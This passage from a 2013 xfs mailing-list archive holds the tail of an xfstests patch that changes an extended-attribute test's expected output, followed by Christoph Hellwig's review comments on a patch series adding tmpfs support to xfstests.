+TEST_DIR/attr062/descend/and +TEST_DIR/attr062/descend/down +TEST_DIR/attr062/descend/down/here +TEST_DIR/attr062/dev +TEST_DIR/attr062/dev/b +TEST_DIR/attr062/dev/c +TEST_DIR/attr062/dev/p +TEST_DIR/attr062/dir +TEST_DIR/attr062/here +TEST_DIR/attr062/here/up +TEST_DIR/attr062/here/up/ascend +TEST_DIR/attr062/lnk +TEST_DIR/attr062/reg *** directory descent with us following symlinks -# file: SCRATCH_MNT/descend +# file: TEST_DIR/attr062/descend user.1=0x3233 user.x=0x797a -# file: SCRATCH_MNT/descend/and/ascend +# file: TEST_DIR/attr062/descend/and/ascend trusted.9=0x3837 trusted.a=0x6263 -# file: SCRATCH_MNT/descend/down +# file: TEST_DIR/attr062/descend/down user.1=0x3233 user.x=0x797a -# file: SCRATCH_MNT/descend/down/here +# file: TEST_DIR/attr062/descend/down/here user.1=0x3233 user.x=0x797a -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name=0xbabe trusted.name3=0xdeface -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name=0xbabe trusted.name3=0xdeface -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name=0xbabe trusted.name3=0xdeface -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name=0xbabe trusted.name3=0xdeface user.name=0xbabe user.name3=0xdeface -# file: SCRATCH_MNT/here +# file: TEST_DIR/attr062/here trusted.9=0x3837 trusted.a=0x6263 -# file: SCRATCH_MNT/here/up +# file: TEST_DIR/attr062/here/up trusted.9=0x3837 trusted.a=0x6263 -# file: SCRATCH_MNT/here/up/ascend +# file: TEST_DIR/attr062/here/up/ascend trusted.9=0x3837 trusted.a=0x6263 -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name=0xbabe trusted.name3=0xdeface -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name=0xbabe trusted.name3=0xdeface user.name=0xbabe @@ -566,53 +566,53 @@ user.name3=0xdeface *** directory descent without following symlinks -# file: SCRATCH_MNT/descend +# file: TEST_DIR/attr062/descend user.1=0x3233 user.x=0x797a -# file: SCRATCH_MNT/descend/down +# file: TEST_DIR/attr062/descend/down user.1=0x3233 user.x=0x797a -# file: SCRATCH_MNT/descend/down/here +# file: TEST_DIR/attr062/descend/down/here user.1=0x3233 user.x=0x797a -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name=0xbabe trusted.name3=0xdeface -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name=0xbabe trusted.name3=0xdeface -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name=0xbabe trusted.name3=0xdeface -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name=0xbabe trusted.name3=0xdeface user.name=0xbabe user.name3=0xdeface -# file: SCRATCH_MNT/here +# file: TEST_DIR/attr062/here trusted.9=0x3837 trusted.a=0x6263 -# file: SCRATCH_MNT/here/up +# file: TEST_DIR/attr062/here/up trusted.9=0x3837 trusted.a=0x6263 -# file: SCRATCH_MNT/here/up/ascend +# file: TEST_DIR/attr062/here/up/ascend trusted.9=0x3837 trusted.a=0x6263 -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name=0xbabe trusted.name3=0xdeface -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name=0xbabe trusted.name3=0xdeface user.name=0xbabe @@ -621,33 +621,33 @@ user.name3=0xdeface *** backup everything -*** clear out the scratch device +*** clear out the test dir *** reset test bed with no extended attributes *** create test bed -SCRATCH_MNT -SCRATCH_MNT/dev -SCRATCH_MNT/dev/b -SCRATCH_MNT/dev/c -SCRATCH_MNT/dev/p -SCRATCH_MNT/dir -SCRATCH_MNT/lnk -SCRATCH_MNT/reg +TEST_DIR/attr062 +TEST_DIR/attr062/dev +TEST_DIR/attr062/dev/b +TEST_DIR/attr062/dev/c +TEST_DIR/attr062/dev/p +TEST_DIR/attr062/dir +TEST_DIR/attr062/lnk +TEST_DIR/attr062/reg *** extend test bed -SCRATCH_MNT -SCRATCH_MNT/descend -SCRATCH_MNT/descend/and -SCRATCH_MNT/descend/down -SCRATCH_MNT/descend/down/here -SCRATCH_MNT/dev -SCRATCH_MNT/dev/b -SCRATCH_MNT/dev/c -SCRATCH_MNT/dev/p -SCRATCH_MNT/dir -SCRATCH_MNT/here -SCRATCH_MNT/here/up -SCRATCH_MNT/here/up/ascend -SCRATCH_MNT/lnk -SCRATCH_MNT/reg +TEST_DIR/attr062 +TEST_DIR/attr062/descend +TEST_DIR/attr062/descend/and +TEST_DIR/attr062/descend/down +TEST_DIR/attr062/descend/down/here +TEST_DIR/attr062/dev +TEST_DIR/attr062/dev/b +TEST_DIR/attr062/dev/c +TEST_DIR/attr062/dev/p +TEST_DIR/attr062/dir +TEST_DIR/attr062/here +TEST_DIR/attr062/here/up +TEST_DIR/attr062/here/up/ascend +TEST_DIR/attr062/lnk +TEST_DIR/attr062/reg *** restore everything *** compare before and after backups -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:40:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 45FE27F73 for ; Wed, 11 Dec 2013 01:40:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1CC608F8039 for ; Tue, 10 Dec 2013 23:40:21 -0800 (PST) X-ASG-Debug-ID: 1386747620-04cbb041686a04b0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id j2nu1ZImuxmfEPSJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:40:20 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeP5-00062E-73; Wed, 11 Dec 2013 07:40:19 +0000 Date: Tue, 10 Dec 2013 23:40:19 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 01/10] xfstests: Add tmpfs support Message-ID: <20131211074019.GA19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 01/10] xfstests: Add tmpfs support References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-2-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-2-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747620 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 12:11:52PM -0800, Junho Ryu wrote: > From: Boris Ranto > > This is just a simple patch to get the tmpfs working as a target file > system. The patch copies the way nfs is handled in xfstests. > > I didn't change the xfstests logic to recognize a proper SCRATCH_DEV. > Hence, the SCRATCH_DEV for tmpfs should be in nfs form (with ':' sign > in it) in order for this to work properly. > > Signed-off-by: Boris Ranto > Signed-off-by: Junho Ryu Looks good, Reviewed-by: Christoph Hellwig From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:42:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 11F9D7FF7 for ; Wed, 11 Dec 2013 01:42:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E105E304043 for ; Tue, 10 Dec 2013 23:42:57 -0800 (PST) X-ASG-Debug-ID: 1386747777-04bdf013211a54e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id x0EivotuA5bjTFkH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:42:57 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeRc-0006EB-VR; Wed, 11 Dec 2013 07:42:56 +0000 Date: Tue, 10 Dec 2013 23:42:56 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 02/10] xfstests: use mount point instead of device name Message-ID: <20131211074256.GB19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 02/10] xfstests: use mount point instead of device name References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-3-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-3-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747777 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 12:11:53PM -0800, Junho Ryu wrote: > From: Hugh Dickins > > A tmpfs mount does not involve any block device, its $SCRATCH_DEV is > nothing but a place-holder, so apply 'df' or 'stat' to its mount point > $SCRATCH_MNT instead of to $SCRATCH_DEV. > > It also fixes a bug in generic/256: "stat -f $SCRATCH_DEV" returning the > block size of the root file system, but not the test file system. > > $ df | grep sda > /dev/sda1 233191 62959 157791 29% /boot > > $ sudo dumpe2fs -h /dev/sda1 | grep "Block size" > Block size: 1024 > > $ stat -f /dev/sda1 | grep "Block size" > Block size: 4096 Fundamental block size: 4096 > > $ stat -f /boot | grep "Block size" > Block size: 1024 Fundamental block size: 1024 > > Signed-off-by: Hugh Dickins > Signed-off-by: Theodore Ts'o > Signed-off-by: Junho Ryu Looks good, Reviewed-by: Christoph Hellwig Although I have to wonder how you got these tests to run, as it seems like you didn't implement _scratch_mkfs_sized for tmpfs. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:44:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1FF727FF7 for ; Wed, 11 Dec 2013 01:44:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EC2E5304043 for ; Tue, 10 Dec 2013 23:44:22 -0800 (PST) X-ASG-Debug-ID: 1386747862-04bdf0131b1a5590001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id QpmSiRGT1GEWSwPg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:44:22 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeT0-0006XE-2b; Wed, 11 Dec 2013 07:44:22 +0000 Date: Tue, 10 Dec 2013 23:44:22 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 03/10] xfstests: _scratch_mkfs_sized() for tmpfs Message-ID: <20131211074422.GC19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 03/10] xfstests: _scratch_mkfs_sized() for tmpfs References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-4-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-4-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747862 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 12:11:54PM -0800, Junho Ryu wrote: > From: Hugh Dickins > > _scratch_mkfs_sized() avoid blockdev and update MOUNT_OPTIONS with > required size on tmpfs, so those tests using it can now run. > > Signed-off-by: Hugh Dickins > Signed-off-by: Junho Ryu Ah, here we go. > blocks=`expr $fssize / $blocksize` > > - if [ "$HOSTOS" == "Linux" ]; then > + if [ "$HOSTOS" == "Linux" -a "$FSTYP" != "tmpfs" ]; then Should just check if SCRATCH_DEV is a block devices instead of hardcoding a filesystem. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:44:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C95117FF7 for ; Wed, 11 Dec 2013 01:44:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 52B40AC00B for ; Tue, 10 Dec 2013 23:44:38 -0800 (PST) X-ASG-Debug-ID: 1386747877-04cbb041676a0670001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id z3M0EXVLLURpPjiI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:44:37 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeTF-0006XU-1k; Wed, 11 Dec 2013 07:44:37 +0000 Date: Tue, 10 Dec 2013 23:44:36 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 04/10] xfstests: increase tmpfs memory size Message-ID: <20131211074436.GD19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 04/10] xfstests: increase tmpfs memory size References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-5-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-5-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747877 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 12:11:55PM -0800, Junho Ryu wrote: > 512M is not enough for generic/129, generic/213 and generic/247. Raise > default tmpfs size to 1G. > > Signed-off-by: Hugh Dickins > Signed-off-by: Junho Ryu > --- > common/rc | 6 ++++-- > 1 file changed, 4 insertions(+), 2 deletions(-) Please fold it into patch 1. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:46:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 487A57FF7 for ; Wed, 11 Dec 2013 01:46:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3155D8F8039 for ; Tue, 10 Dec 2013 23:46:17 -0800 (PST) X-ASG-Debug-ID: 1386747976-04cb6c537e6977f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id stZwGlGk8fNc2RK5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:46:16 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeUp-0007au-PS; Wed, 11 Dec 2013 07:46:15 +0000 Date: Tue, 10 Dec 2013 23:46:15 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131211074615.GE19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-6-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386747976 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 10, 2013 at 12:11:56PM -0800, Junho Ryu wrote: > Several tests unmount then re-mount the scratch filesystem, to check > that the content is unchanged; but unmounting a tmpfs is designed to > lose its content, which causes such tests to fail unnecessarily. Add > _scratch_remount(), which instead uses remount on a tmpfs to preserve > its contents. Also add _test_remount() to do the same for the test > device. All these tests don't make sense if you never unmount the filesystem. Istead they should exit with _notrun for tmpfs. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:46:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 119B17FF7 for ; Wed, 11 Dec 2013 01:46:59 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EF07B8F804C for ; Tue, 10 Dec 2013 23:46:58 -0800 (PST) X-ASG-Debug-ID: 1386748017-04cb6c537e697830001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id zMkMEvDyWr8FwN30 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:46:58 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeVV-0007bZ-L1; Wed, 11 Dec 2013 07:46:57 +0000 Date: Tue, 10 Dec 2013 23:46:57 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support Message-ID: <20131211074657.GF19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-7-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-7-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386748018 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 10, 2013 at 12:11:57PM -0800, Junho Ryu wrote: > generic/225 runs fiemap. It would be nice to call > _require_xfs_io_fiemap like other tests which use fiemap. It's not exactly correct as it doesn't require xfs_io. If you have some spare cycles it would be good to factor out a _require_fiemap from it. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:47:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1D19B7FF7 for ; Wed, 11 Dec 2013 01:47:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 093A530406A for ; Tue, 10 Dec 2013 23:47:24 -0800 (PST) X-ASG-Debug-ID: 1386748034-04cb6c537d697850001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id pXSutzthTaMHYI9u (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:47:14 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeVm-0007c4-Fq; Wed, 11 Dec 2013 07:47:14 +0000 Date: Tue, 10 Dec 2013 23:47:14 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 07/10] xfstests: fix generic/127 to call _cleanup() only once Message-ID: <20131211074714.GG19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 07/10] xfstests: fix generic/127 to call _cleanup() only once References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-8-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-8-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386748034 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143008 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 10, 2013 at 12:11:58PM -0800, Junho Ryu wrote: > The test is already trap-ing signal 0 (EXIT). umount prints error > message when target tmpfs is already unmounted. > > Signed-off-by: Junho Ryu Looks good, Reviewed-by: Christoph Hellwig From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:47:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4C59B7FF7 for ; Wed, 11 Dec 2013 01:47:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C7709AC00B for ; Tue, 10 Dec 2013 23:47:53 -0800 (PST) X-ASG-Debug-ID: 1386748072-04cbb041696a0810001-NocioJ Received: from bombadil.infradead.org 